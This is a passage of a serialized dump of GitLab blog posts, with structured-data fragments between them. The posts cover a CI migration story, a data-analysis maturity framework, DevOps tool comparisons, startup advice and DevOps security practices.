Philipp says. They improved their build time by moving to Gradle, created parallel job processing, and by using standard Docker images for ease of management. \n\n## Takeaways from a successful migration\n\n1. Plan your migration. Get every member of the team involved and aware of the upcoming changes, including how tools are working together and what the expectations are moving forward. “Take your time for the migration,” Philipp says. “It’s not two days and then we are finished.” \n\n2. Go step by step. adSoul used a three phase plan which allowed the team to deploy a new version and still continue to work on existing projects. “We could improve our application without having to wait for a better infrastructure,” Philipp says.\n\n3. Rethink your [DevOps strategy](/blog/better-devops-with-gitlab-ci-cd/). In the time leading up to the migration, examine things like security automation and other important pieces in a DevOps overall strategy.\n\n4. Start with a small project. Work closely with colleagues to create small GitLab CI projects to familiarize everyone before creating larger, overwhelming projects.\n\nPro tip: Keep your pipeline user friendly. Create a good user experience for the team with clear job names, style your config for a better overview, and write comments for variables and hard to understand code. \n\n## Why GitLab works for a small team\n\n“The most important thing is that GitLab is a powerful CI/CD solution with high customization,” Philipp says. There is one home for all projects, without dependencies on one another. With Jenkins, even small exploratory changes can impact the larger job. “With GitLab, you don’t have dependency between branches. So, if you’re trying something new for your CI, you can do it simply in your branch and the master branch will not be affected by the changes,” Philipp says.\n\nThe CI is low maintenance, which is a useful timesaver for a smaller team. “The CI provides us with really low maintenance time. So, usually we don’t have to care about our CI for a month or more,” Philipp says.\n\nTo learn more about adSoul’s migration to GitLab, watch Philipp’s talk from GitLab Commit London.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/C5xfw0ydh2k\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n",[110,4103,815,1268,10921,3949],{"slug":26573,"featured":6,"template":678},"adsoul-devops-transition-to-gitlab-ci","content:en-us:blog:adsoul-devops-transition-to-gitlab-ci.yml","Adsoul Devops Transition To Gitlab Ci","en-us/blog/adsoul-devops-transition-to-gitlab-ci.yml","en-us/blog/adsoul-devops-transition-to-gitlab-ci",{"_path":26579,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":26580,"content":26585,"config":26591,"_id":26593,"_type":16,"title":26594,"_source":17,"_file":26595,"_stem":26596,"_extension":20},"/en-us/blog/three-levels-data-analysis",{"title":26581,"description":26582,"ogTitle":26581,"ogDescription":26582,"noIndex":6,"ogImage":23726,"ogUrl":26583,"ogSiteName":1180,"ogType":1181,"canonicalUrls":26583,"schema":26584},"A framework for sssessing data organization maturity","GitLab Data Engineer Emilie Schario lays out a framework for data analysis that can help an organization understand the maturity of their data team.","https://about.gitlab.com/blog/three-levels-data-analysis","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"The 3 Levels of Data Analysis- A Framework for Assessing Data Organization Maturity\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Emilie Schario\"}],\n        \"datePublished\": \"2019-11-04\",\n      }",{"title":26586,"description":26582,"authors":26587,"heroImage":23726,"date":26588,"body":26589,"category":18484,"tags":26590},"The 3 Levels of Data Analysis- A Framework for Assessing Data Organization Maturity",[24044],"2019-11-04","\n\n{::options parse_block_html=\"true\" /}\n\n\n\nIf I had a nickel for every time I saw that [Data Science Hierarchy of Needs](https://hackernoon.com/the-ai-hierarchy-of-needs-18f111fcc007) visual in a presentation at a conference, I'd be a gazillionaire (technical term).\nThe pyramid, a nod to Maslow's Hierarchy of Needs, lays out that data science, in it's Machine Learning or Artificial Intelligence forms, has a series of \"needs\" or requirements that must be met in order to *actually* output AI.\n\nThis visual is great, but I've spent the last couple years working in data, and this visual doesn't capture what I do.\nML and AI are attractive subjects to talk about, but the reality for most organizations is that their data teams are incredibly immature and spend the bulk of their time working on analyses.\nData organization maturity is made up of many factors;\nit's not just the details of your machine learning models, the pedigree of your team members, or the headcount of your function.\nThe maturity of your data organization is not something that can be solved by throwing people at the problem.\n\n## A mature data organization, first and foremost, is a mature analytics organization.\n\nSo, how do you know if you are a mature analytics organization?\n\nThere are three tiers of data analysis: reporting, insights, and prediction.\nAs an organization matures in their data analyses, they move through the tiers.\nThis data analysis framework is not focused on all the things your data team will produce, nor does the framework apply to anything outside of data analysis.\nThings like recommendation engines and predictive analytics are not data analyses;\nthey're a different application of data entirely.\n\nA mature analytics organization is one part of a data function, but it is foundational to a mature data function.\nSpending an investment in *doing analytics right* will pay dividends to your data function down the road.\n\n## The Briefest History of Data\n\nBefore evaluating where data analysis is today, it's important to consider how data got here.\nOnce upon a time, data was impossible to get.\n\nYears ago, SQL was the prerequisite for answering data questions, and those lucky enough to work in an organization that maintained a centralized data warehouse still had to navigate delicate databases easily waylaid by a bad query.\n\nData analysts were the gatekeepers of data.\nAnything that was needed— from a pretty chart for a stakeholder meeting or a spreadsheet produced so business or financial analysts could further dig into the data – had to go through a data analyst.\n\nIn a world where, [knowledge workers are making thousands of decisions a day](https://www.psychologytoday.com/us/blog/stretching-theory/201809/how-many-decisions-do-we-make-each-day), we cannot let data live behind the gates.\nBusiness leaders have recognized this and are investing in building out data teams whose responsibility it is to [democratize data in their organizations](/handbook/business-technology/data-team/).\nData teams are investments in your organization, but they can only provide a return if they mature; and the first step is through reporting.\n\n## Reporting\n\nReporting is the straightforward, simplistic asking and answering of questions.\nThe answers to these simple questions give an idea of what data is needed, but doesn’t allow for the standardization, collection, or tracking of data.\n\n**When you have no answers, you never get beyond looking for facts.**\nExample reporting questions are:\n* How many new users visited our e-commerce site last week?\n* How many leads did we capture this month?\n* How many MRs were merged this week?\n\nSometimes, there is no data to answer these questions.\nThis can help identify gaps and drive conversations around the data being collected.\nWhen getting data is hard, you never move past reporting.\n\nToday, getting data is easy, at least by comparison.\nWith the rise of analytical data warehouses ([at GitLab, we use Snowflake](/handbook/business-technology/data-team/platform/#our-data-stack)) optimized for columnar analyses and incredibly cheap storage, the barriers to analyses are changing, as are the kinds of questions we want to answer.\n\nMost reporting questions are possible to answer in their recording system of truth:\n* You can build a Salesforce dashboard to show you your pipeline for the next quarter.\n* You can build a Heap dashboard to show you user retention.\n* Even [bitmapist](https://github.com/Doist/bitmapist)— an open-source Mixpanel alternative— comes with off-the-shelf user cohorting.\n\nData analysts spending their time building analyses that are available in the system of record aren’t adding value, they’re paying tolls: they’re verifying data and getting buy-in from business stakeholders.\n\nToday, the value in data analyses lies in producing insights.\n\n## Insights\n\nWhile reporting analyses are about *gathering facts* to report on them, insights are about *understanding relationships between facts.*\nDeriving insights is a result of combining systems of records, focusing on looking for relationships in the data.\nThis is different from systems informing systems, such as piping account information from Salesforce into Zendesk to see if you’re meeting your [Support SLAs](/handbook/support/performance-indicators/#service-level-agreement-sla);\ninstead it's about producing insights that can only be gathered by combining two data sources into something new.\n\nThe GitLab Data team’s [net and gross retention analyses](/handbook/customer-success/vision/#retention-and-reasons-for-churn) are a great example of insights.\nWhile subscription information comes from Zuora, our customer accounts— and how they do or don’t roll up into parent accounts— all come from Salesforce.\nIntegrating these two data sources to build out our retention analysis helps inform our Sales and Product teams.\n\nA product manager that knows their engineering team's velocity can better estimate what features will make the next release.\nA sales team that understands what their inbound marketing pipeline is looking like for next quarter is empowered to better plan their work.\nIt's not enough to know that a particular performance indicator is up or down compared to its target;\ninsights help you understand the why behind the fact.\n\nAnswering questions such as these will show the biggest impact and value to your business:\n* Which landing pages have the lowest CAC?\n* What is the average number of site visits before a user converts?\n* What is the MoM user retention in our web application?\n\nInsights are where your data analysts need to be spending their time because insights are where data teams can start providing value.\nAnalysts can only move on to providing insights if they’re not spending all their time building reporting, but accurate reporting _is_ a prerequisite to insights.\n\nA data team that spends all their time producing numbers that already exist for the sole purpose of getting stakeholder buy-in or data tool adoption will quickly find the organization frustrated, as they will not have added new value to the business.\nBeing data-driven means you’ve crossed into a place where decisions are influenced by data, not simply finding data that matches a goal.\n\n## Predictions\n\nMature data analyses are using predictions to help drive the business forward.\n\nA product manager who can estimate the financial impact, both in cost and potential return, of developing a new feature can make a much stronger case for prioritization than a product manager who has a gut feeling and crossed fingers.\nThe same is true throughout the organization.\nIf the Financial Planning and Analysis team can predict revenue, the Support team can predict hiring requirements to support all customers, and the recruiting team can predict what hiring and onboarding timelines look like for those support engineers.\n\nAn organization that is empowered with the ability to predict performance through advanced analyses is a data-driven organization;\nand, because they have reporting in place to track against those predictions, they have the mechanisms to react with when reality differs from those predictions and can adjust appropriately.\n\n## How do we mature data teams?\n\nI see you nodding your head in agreement.\nHopefully, by now, you've estimated where your team is in this framework, and you're wondering how you can help them move up to the next level.\n\n### Invest in your team\n\nData teams [tend to be 2-8% of your organization](https://blog.getdbt.com/data-team-structure-examples/), and data teams do scale with organization headcount.\nYour data team will fail if you set them up for failure through understaffing.\nThe company will be frustrated with the team and default to the tools they've always known and loved (spreadsheets - and [I hate spreadsheets](https://youtu.be/PLe9sovhtGA?t=1779)).\n\nOnce you're appropriately staffed, make sure your team is using the right tools, technologies, and processes.\nAt GitLab, we firmly believe in [DataOps](https://youtu.be/PLe9sovhtGA) and that [analytics is a subfield of software engineering](https://docs.getdbt.com/docs/viewpoint).\nMany data analysts are coming from old models where version control, the command line, and checking logs are foreign ideas.\nEnsure your team is [using modern technologies](https://meltano.com) and [leveling up along the way](/handbook/business-technology/data-team/learning-library/#data-learning-and-resources).\n\n### Empower everyone in your organization with data\n\nAllow all team members to find and build the reporting they need to do their jobs.\nBy empowering them to self-serve the reporting they need, they can gather their own facts and free up the data team to move into the next tier of analysis.\nAllowing your data team to grow and mature means putting other people in positions to access and analyze the data that they need daily.\n\nAccept that the margin of error is larger on reporting when it's not produced by a member of the data team.\nIt is more important for the data to be directionally correct and accessible than perfect and bottlenecked.\n\nThis does require trusting that reporting is facts.\nData are not opinion-based.\nReporting provides you with the answers and the person or people analyzing can formulate opinions, but reporting itself is not opinionated.\n\n### Speed to Value\n\nThe sooner there is confidence in data and your data organization through reporting, the sooner your team can start providing value through insights.\nPart of how we can implement that speed is by leveraging [open source analytics](/2019/04/15/open-source-analytics/).\nMany data teams are working through the same or similar questions and [open sourcing](/blog/managing-your-snowflake-spend-with-periscope-and-dbt/) and leveraging things like [dbt packages](https://hub.getdbt.com) can help minimize the time spent reinventing the reporting wheel.\n\nThe best practices of software can help make sure a team maintains their velocity.\nThrough data quality and freshness testing, alerting, and documentation through a tool like [dbt](https://www.getdbt.com/product/), data teams can be proactive rather than reactive, setting them up for better success.\n\nData is an incredible tool, but the road to maturity can be bumpy.\nWith a strong team, you can create a data driven organization and quickly find yourself seeing the team's value.\n\n*Special thanks to [Taylor Murphy](https://gitlab.com/tayloramurphy) and [Claire Carroll](https://gitlab.com/clrcrl) for helping me develop my thoughts on the subject and reading early drafts of this framework.*\n",[4144,754],{"slug":26592,"featured":6,"template":678},"three-levels-data-analysis","content:en-us:blog:three-levels-data-analysis.yml","Three Levels Data Analysis","en-us/blog/three-levels-data-analysis.yml","en-us/blog/three-levels-data-analysis",{"_path":26598,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":26599,"content":26605,"config":26611,"_id":26613,"_type":16,"title":26614,"_source":17,"_file":26615,"_stem":26616,"_extension":20},"/en-us/blog/devops-tool-landscape",{"title":26600,"description":26601,"ogTitle":26600,"ogDescription":26601,"noIndex":6,"ogImage":26602,"ogUrl":26603,"ogSiteName":1180,"ogType":1181,"canonicalUrls":26603,"schema":26604},"The DevOps tool landscape","Competitive intelligence manager Mahesh Kumar describes the criteria we use when comparing GitLab to other DevOps tools.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749670008/Blog/Hero%20Images/devops-tool-landscape.jpg","https://about.gitlab.com/blog/devops-tool-landscape","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"The DevOps tool landscape\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Mahesh Kumar\"},{\"@type\":\"Person\",\"name\":\"Chrissie Buchanan\"}],\n        \"datePublished\": \"2019-11-01\",\n      }",{"title":26600,"description":26601,"authors":26606,"heroImage":26602,"date":26608,"body":26609,"category":8943,"tags":26610},[26607,18462],"Mahesh Kumar","2019-11-01","\nOne of the [core values](https://handbook.gitlab.com/handbook/values/) at GitLab is transparency, and it is in this spirit that we evaluate and articulate how GitLab fits into the competitive landscape. One of the ways we’ve demonstrated this transparency is by [listing other DevOps tools](/competition/) on our website and how they compare to functionality in GitLab. This approach is a little unorthodox but we believe this transparency not only helps teams make the right decisions, it also helps us identify where we can improve our product.\n\nFor any competitive comparison to be effective, it has to be fair, accurate, and easy to understand. Whether we’re comparing [three versions of Jenkins](/blog/jenkins-one-year-later/) to GitLab CI/CD, or comparing other [DevOps tools](/topics/devops/devops-tools-explained/) in the SDLC, we try to ensure these three key objectives of competitive comparisons are achieved.\n\n## Staying fair\n\nOne of the biggest challenges in competitive comparisons is staying fair and credible. The selection of competitive comparison criteria plays a significant role because it has to be comprehensive and not self-serving. Far too often vendors restrict competitive comparison criteria to what their product does well and avoid the gaps that might be in their products. At GitLab, we make a concerted effort to avoid this pitfall, and our culture of transparency keeps us honest in our assessment of where we excel and where we can do better.\n\nThe [GitLab Maturity Framework](/direction/maturity/) articulates the stages, categories, and features that constitute the end-to-end DevOps lifecycle. The maturity framework shows where GitLab provides an elevated user experience and also outlines our planned roadmap for the future. Since this framework takes a long-term view of criteria/features that constitute various DevOps stages and categories, we use this framework as a guide for our competitive comparisons.\n\nIn our GitLab Maturity Framework, we have a few categories where we rank as one of the best-in-class, both with industry analysts and GitLab users: Source code management, code review, and continuous integration (CI). To see one of these comparisons, check out our Jenkins CI page where we outline features, pricing, and a comprehensive overview.\n\n[Jenkins vs. GitLab](/devops-tools/jenkins-vs-gitlab/)\n{: .alert .alert-gitlab-purple .text-center}\n\n## Keeping it accurate\n\nHaving settled on criteria for evaluation, getting the data accurate is a major challenge. We have a structured information gathering process as laid out below:\n\n    1. Website\n    2. Documentation\n    3. Demos\n    4. Product install and usage\n    5. Customer feedback\n\nSometimes we are unable to complete this process for all vendor products for several reasons. First is the lack of available information either on a vendor's website or documentation. Second, we may be unable to access their product to validate certain capabilities. Some vendors do not provide a free or easily accessible version of the product, while others may explicitly prohibit the use of their product for comparison purposes. In either case, we restrict our comparison to publicly available details.\n\nThe second challenge in ensuring accuracy is that vendors don't always put out new releases and capabilities on a constant basis and our analysis may be slightly outdated. One of the best examples of this is, “when does one stop [painting the Golden Gate Bridge](http://goldengatebridge.org/research/facts.php#PaintHowOften)?” The answer is never! It’s an ongoing process that requires continuous paint touch-ups from one end to the other.\n\n## Everyone can contribute\n\nOur open source DNA extends to how we manage the tools landscape pages. We freely solicit input internally from multiple teams within GitLab and more importantly from other vendors’ teams. Anyone, including other vendors, can use GitLab to create an issue stating the change they wish to see or information they would like to correct. This issue is then assigned to the appropriate GitLab team to address. In fact, one Product Manager from a vendor recently contacted us about a change to their comparison page, and we gladly made that change.\n\nBy providing an opportunity to comment and give feedback, we hope to foster a dialog with those better informed about different products, thereby improving the tools landscape pages with rich and accurate information.\n\n## Easy to understand\n\nThe final challenge in comparison pages is to make them easy to interpret. We do this in two different ways: First, all the feature-level comparison is listed in the comparison page. For those interested in a particular feature or capability, they can easily scan the page to find the feature they’re looking for.\n\nSometimes the feature details need explanation, or perhaps there’s a feature that doesn’t quite fit into the “yes or no” mold. For that reason, we also provide a top-down analysis at the start of most comparison pages that provides a summary of features and provides additional context. This sometimes means a critical feature can get lost in the text, but we are doing our best to keep consistency across vendors and identify discrepancies quickly.\n\nThere are a lot of DevOps tools out there. As a complete [DevOps platform](/solutions/devops-platform/) delivered as a single application, GitLab can remove the pain of having to choose, integrate, learn, and maintain the multitude of tools necessary for a successful DevOps toolchain. If a DevOps tool is missing, feel free to [email us](mailto:incoming+gitlab-com-marketing-product-marketing-7424125-issue-@incoming.gitlab.com?subject=DevOps%20tool%20request&amp;amp;bcc=devopstools%40gitlab.com&amp;amp;body=-%20Tool%20name%3A%0D%0A-%20Stages%3A%0D%0A-%20Change%3A%0D%0A%0D%0A%0D%0APlease%20leave%20these%20label%20flags.%20%20%20%20%0D%0A%2Flabel%20~comparison%20~Servicedesk) or [create an issue](https://docs.gitlab.com/ee/user/project/issues/managing_issues.html#create-a-new-issue) and we’ll be happy to add a feature comparison for that product.\n\nCover image by [Troy Nikolic](https://unsplash.com/@troynikolic?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\n{: .note}\n",[110,4103,676],{"slug":26612,"featured":6,"template":678},"devops-tool-landscape","content:en-us:blog:devops-tool-landscape.yml","Devops Tool Landscape","en-us/blog/devops-tool-landscape.yml","en-us/blog/devops-tool-landscape",{"_path":26618,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":26619,"content":26625,"config":26629,"_id":26631,"_type":16,"title":26632,"_source":17,"_file":26633,"_stem":26634,"_extension":20},"/en-us/blog/sids-top-advice-for-startups",{"title":26620,"description":26621,"ogTitle":26620,"ogDescription":26621,"noIndex":6,"ogImage":26622,"ogUrl":26623,"ogSiteName":1180,"ogType":1181,"canonicalUrls":26623,"schema":26624},"Sid’s top advice for startup CEOs","Learn more about the advice Sid gives to other startup CEOs","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749680855/Blog/Hero%20Images/sid-top-advice-startup.jpg","https://about.gitlab.com/blog/sids-top-advice-for-startups","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Sid’s top advice for startup CEOs\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Clement Ho\"}],\n        \"datePublished\": \"2019-11-01\",\n      }",{"title":26620,"description":26621,"authors":26626,"heroImage":26622,"date":26608,"body":26627,"category":18484,"tags":26628},[22111],"\n\n{::options parse_block_html=\"true\" /}\n\n\n\nThis past week, several startups came to Sid - GitLab's CEO and cofounder - asking for advice. In light of wanting to share advice to a wider audience, so here is some of his top advice.\n\n## Grow usage or revenue\n\nA startup that has no usage or revenue will die. It is important to be laser focused on this. By setting specific goals pertaining to this area, you can set yourself up for better success. Most startups aim for 10% week over week growth. Use that as a guidance for your own metric.\n\n## Have users switch to your product\n\nIt is better for people to switch completely to your product rather than just using parts of your product for your existing workflow. This makes your product more sticky and allows you to get better feedback from users about which features to continue investing your time and money into.\n\n## Iterate\n\nStartups tackle big problems but it’s easy to get paralyzed by big problems. It’s also easy to miss the value that your product could bring to users if you spend too much time making the big solution. By iterating, your startup should aim to build things that pay off in a week. Scoping down solutions to the bare minimum is a great start for this area.\n\n## Do things that don’t scale\n\nThis is a common phrase with startups but this is critical to do. Be willing to spend money, do tasks that clearly don’t make sense for your future scaled company because the faster you are able to find ways to grow your product with your users, the better your product will be. Airbnb has some great examples of this (detailed in the video interview below).\n\n## Interview with Sid\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/HklxGOXFoPQ\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\nCover image by [Samson](https://unsplash.com/photos/ZGjbiukp_-A) on [Unsplash](https://www.unsplash.com)\n{: .note}\n",[10921],{"slug":26630,"featured":6,"template":678},"sids-top-advice-for-startups","content:en-us:blog:sids-top-advice-for-startups.yml","Sids Top Advice For Startups","en-us/blog/sids-top-advice-for-startups.yml","en-us/blog/sids-top-advice-for-startups",{"_path":26636,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":26637,"content":26642,"config":26647,"_id":26649,"_type":16,"title":26650,"_source":17,"_file":26651,"_stem":26652,"_extension":20},"/en-us/blog/speed-security-devops",{"title":26638,"description":26639,"ogTitle":26638,"ogDescription":26639,"noIndex":6,"ogImage":11103,"ogUrl":26640,"ogSiteName":1180,"ogType":1181,"canonicalUrls":26640,"schema":26641},"How to ensure security at the speed of DevOps","Read here on how to speed up your secure DevOps for faster delivery on your safe and secure applications.","https://about.gitlab.com/blog/speed-security-devops","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to ensure security at the speed of DevOps\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Vanessa Wegner\"}],\n        \"datePublished\": \"2019-10-31\",\n      }",{"title":26638,"description":26639,"authors":26643,"heroImage":11103,"date":26644,"body":26645,"category":8943,"tags":26646},[22656],"2019-10-31","\nChoosing between speed and security leaves some development teams walking a fine\nline between order and chaos. Even in [DevOps](/topics/devops/), if your security practices are\nstill largely manual, teams often choose to release apps before they’re fully\nsecured, rather than waiting for the security team to address critical\nvulnerabilities.\n\nBut what if I told you that you don’t need to choose? Pull your security team,\ntests and practices to the beginning of the SDLC, and embed them throughout to\nreduce time to launch – and launch a secure product.\n\n## Six ways to bring security up to speed\n\n### 1. Make small, frequent changes\nProduce code in small chunks or units, and then run automated tests on those\nunits as they’re committed, so the developers can remediate any\nvulnerabilities on the spot – rather than waiting for feedback days, weeks, or\neven months later. Running regular tests saves time down the road, when the completed\napp is tested before launch.\n\n### 2. Educate developers _and_ security teams\nAdopt or create an educational program that teaches developers to recognize\ncommon vulnerabilities and remediate on their own. Security professionals should\nalso be educated on application development and emerging technology,\nso they can understand developers’ work and ensure their organization isn’t\noverlooking any major vulnerabilities.\n\n### 3. Fail fast, fix fast\nFailing fast is a critical component of the DevOps mindset – and should be\napplied to developers’ security practices as well. If the automated scans\nreveal vulnerabilities, developers should be encouraged to take\nremediation into their own hands, both as a form of self-education, and to keep\nthe SDLC moving quickly.\n\n### 4. Prioritize risks\nRisks will take different levels of priority within a single app, or across all\nof an organization’s apps. DevOps and security teams should work together to\nestablish security guidelines that allow teams to prioritize which risks to\naddress immediately, and which may not need remediation in the short term.\n[Joe Coletta of IBM brings up an important distinction](https://securityintelligence.com/how-to-balance-speed-and-security-in-your-application-security-program/):\nFlaws should be assessed not only by level of severity, but also by likelihood\nof exploitation by an attacker.\n\n### 5. Automate as much as possible\nManual security processes cannot keep up – point blank. There are too many new\ntechnologies, deployments, and access requests for security teams to manually\nhandle everything. Tests should be pre-written and policies pre-defined so\nthat they’re addressed automatically within the development pipeline. Automation\nalso allows developers to focus on business demands – getting the app out\nquickly – while reducing the chance for human error.\n\n### 6. More is better\nTesting more frequently is always better, if it can be done efficiently. In rapid\ndevelopment, teams push small changes continuously, which also means they’re\nable to find vulnerabilities more easily, and push small fixes continuously.\n[As Forrester Research Director Amy DeMartine has stated](https://techbeacon.com/app-dev-testing/has-continuous-security-arrived-rise-rapid-development),\nany changes that developers make [using these methods] will only affect their\nsmall piece of code, without any ramifications on the rest. Ultimately, this\nincreases quality.\n\n## Like always, communication is key\n\nAbove all, your security and DevOps teams **must** be on the same page: A cross-team\nsecurity mindset requires a strong commitment to communication and transparency. Leaders should encourage\nmembers of both teams take initiative to understand the other team’s goals and\nintent, and why these goals are important to both the business and customer. Teams at\nevery business should focus on building a security-first mindset, as today’s\nexpanding attack surfaces provide opportunity for exploitation at every level.\nLastly, make it easy (or as easy as it can be). Integrated tools, or a single\ntool for the entire lifecycle (such as GitLab) will bring transparency to all\nsides of the operation and allow for seamless interactions, change logging,\nand efficiency.\n\nCover image by [Christian Englmeier](https://unsplash.com/@christianem) on [Unsplash](https://unsplash.com/photos/J7EUjSlNQtg)\n{: .note}\n",[674,4103,943],{"slug":26648,"featured":6,"template":678},"speed-security-devops","content:en-us:blog:speed-security-devops.yml","Speed Security Devops","en-us/blog/speed-security-devops.yml","en-us/blog/speed-security-devops",{"_path":26654,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":26655,"content":26660,"config":26665,"_id":26667,"_type":16,"title":26668,"_source":17,"_file":26669,"_stem":26670,"_extension":20},"/en-us/blog/secure-journey-continuous-delivery",{"title":26656,"description":26657,"ogTitle":26656,"ogDescription":26657,"noIndex":6,"ogImage":26564,"ogUrl":26658,"ogSiteName":1180,"ogType":1181,"canonicalUrls":26658,"schema":26659},"Securing the journey to continuous delivery","The UK Dept for Work and Pensions bring security best practices to the forefront of a massive transition to continuous delivery.","https://about.gitlab.com/blog/secure-journey-continuous-delivery","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Securing the journey to continuous delivery\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Vanessa Wegner\"}],\n        \"datePublished\": \"2019-10-30\",\n      }",{"title":26656,"description":26657,"authors":26661,"heroImage":26564,"date":26662,"body":26663,"category":8943,"tags":26664},[22656],"2019-10-30","\n[Adam Moss](https://www.linkedin.com/in/adam-moss/?originalSubdomain=uk) is the\nHead of Engineering Strategy, Technical Leadership, DevOps, and SRE at the\nDepartment for Work and Pensions. At this year’s GitLab Commit in London, Adam\nspoke about how his organization transitioned from waterfall to Agile, and how\nthey built security into both their organization's infrastructure and culture.\n\nThe Department for Work and Pensions (DWP) is the United Kingdom’s largest\ngovernment department. It comprises 84,000 employees and serves 22 million\ncitizens, with systems containing approximately 55 million lines of code and\nseeing about 10,000 changes per year.\n\nIn other words, it’s a big deal.\n\nBut their infrastructure and operations were less than stellar. Adam and his\nteam wanted to offer 24/7 service availability, improve their user experience,\nand reduce operational costs. So, they went Agile.\n\n## Big change for big gains\n\nBefore the transformation, the DWP had outsourced services for 30 years. To get\nto [continuous delivery](/topics/continuous-delivery/), they brought everything in-house. In addition to massive\noperational change, this also required an enormous cultural shift within the\norganization. Insourcing meant taking responsibility for everything – they couldn't blame a third party should anything go wrong. Teams also had to take on an iterative mindset: Changing their standard maximum viable product into a minimum one.\n\nThen there was the question of tools, which also brought the question of\nsecurity: What tools would best enable developers, without leaving gaping holes\nin their systems?\n\n## Owning the risk\n\nAs a government organization, the DWP was used to managing risk – but they\nsuddenly found themselves without an outsourced partner to blame. Now that Adam’s\nteam was fully responsible for security efforts, they needed to become much\nmore risk averse. Taking ownership of security is also a big change for\ndevelopers, even for organizations not undergoing massive transformation.\n\n### The journey to DevOps security\n\n#### Considerations\n\nTo keep both processes and systems secure, the DWP took a multi-layered\napproach with people, devices, and code among the top aspects considered.\n\nDevelopers are often highly privileged users, which poses certain risks to your\nenvironment. While it’s necessary to protect both systems and people,\norganizations need to be clear about their security policies and intent in\norder to build and maintain employee trust. Adam puts it this way: Think about\ndisciplinary policies – if a piece of vulnerable code is released and causes a\nproblem, is it the individual’s fault? Or is it a fault of the processes you’ve\nput in place?\n\nAdam also emphasized that restrictions might not be the best answer: Developers\nwill find a way around, so it’s better to implement something that allows\nthem to achieve their objectives without creating any backdoor processes.\n\nThere was also the consideration of open source – while it provides great\nbenefits, there are challenges that must also be managed appropriately. Adam’s\nteam chose to implement continuous vulnerability monitoring (with [GitLab](/solutions/security-compliance/))\nto keep track of any risky dependencies that might spring a data leak. They\nalso chose to use GitLab as a central point of control and single source of\ntruth, increasing transparency for the organization.\n\n#### Lessons learned\n\nIn his presentation, Adam shared some valuable tips for a successful\ntransition to continuous delivery. Here are a few favorites:\n\n##### Automate, automate!\nAutomation will make things immensely easier – not just because of the time\nsaved, but also because of its repeatability and reduced risk for human error.\nFocus on the low-hanging fruit early on in the process. There will always be things you can’t\nautomate, so pick the easy battles first.\n\n##### Identify your pain point\nTake a look across your operations and organization. What is the biggest\nchallenge you can solve? Or, what change will bring a lot of value in the move\nto continuous delivery? Try to achieve ROI as soon as possible.\n\n##### Anticipate risks from an external POV\nAdam recommends threat modeling, and looking at security from the outside in.\nWhat might an adversary be thinking? Why and how might they attack? Some tools\nwill even generate possible situations that you’ve never considered.\n\n##### Continuous doesn’t always mean automatic\nWhile you may want to automate functions as much as possible, the catalyst can\nstill be human. Separation of duties can serve as a useful defense mechanism to\nensure that big changes won’t cause undue risk.\n\n## The journey doesn’t end with DevOps\n\nAdam concludes with some wisdom for the future: Always be thinking about how\nyou’re going to evolve your organization, and make sure your roadmap continues to change as well.\nHe suggests looking externally for options you might not have yet considered,\nlike the capabilities planned for [your favorite DevOps tools](/direction/#devops-stages).\n\nTo build some new ideas into your own roadmap, watch Adam’s talk from GitLab\nCommit London.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube-nocookie.com/embed/c8zFXUkPb2c\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n",[674,4103,1899,1385,267],{"slug":26666,"featured":6,"template":678},"secure-journey-continuous-delivery","content:en-us:blog:secure-journey-continuous-delivery.yml","Secure Journey Continuous Delivery","en-us/blog/secure-journey-continuous-delivery.yml","en-us/blog/secure-journey-continuous-delivery",{"_path":26672,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":26673,"content":26679,"config":26685,"_id":26687,"_type":16,"title":26688,"_source":17,"_file":26689,"_stem":26690,"_extension":20},"/en-us/blog/parallels-between-all-remote-and-cloud-computing",{"title":26674,"description":26675,"ogTitle":26674,"ogDescription":26675,"noIndex":6,"ogImage":26676,"ogUrl":26677,"ogSiteName":1180,"ogType":1181,"canonicalUrls":26677,"schema":26678},"The parallels between all-remote and cloud computing","The rise of the remote workplace has many parallels with the rise of cloud computing.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749673019/Blog/Hero%20Images/vintage-keyboards.jpg","https://about.gitlab.com/blog/parallels-between-all-remote-and-cloud-computing","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"The parallels between all-remote and cloud computing\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Joyce Tompsett\"}],\n        \"datePublished\": \"2019-10-29\",\n      }",{"title":26674,"description":26675,"authors":26680,"heroImage":26676,"date":26682,"body":26683,"category":6634,"tags":26684},[26681],"Joyce Tompsett","2019-10-29","\nAs a GitLab team member, I’m frequently asked what it’s like to work in an [all-remote company](/company/culture/all-remote/). Folks are curious – they like the idea of 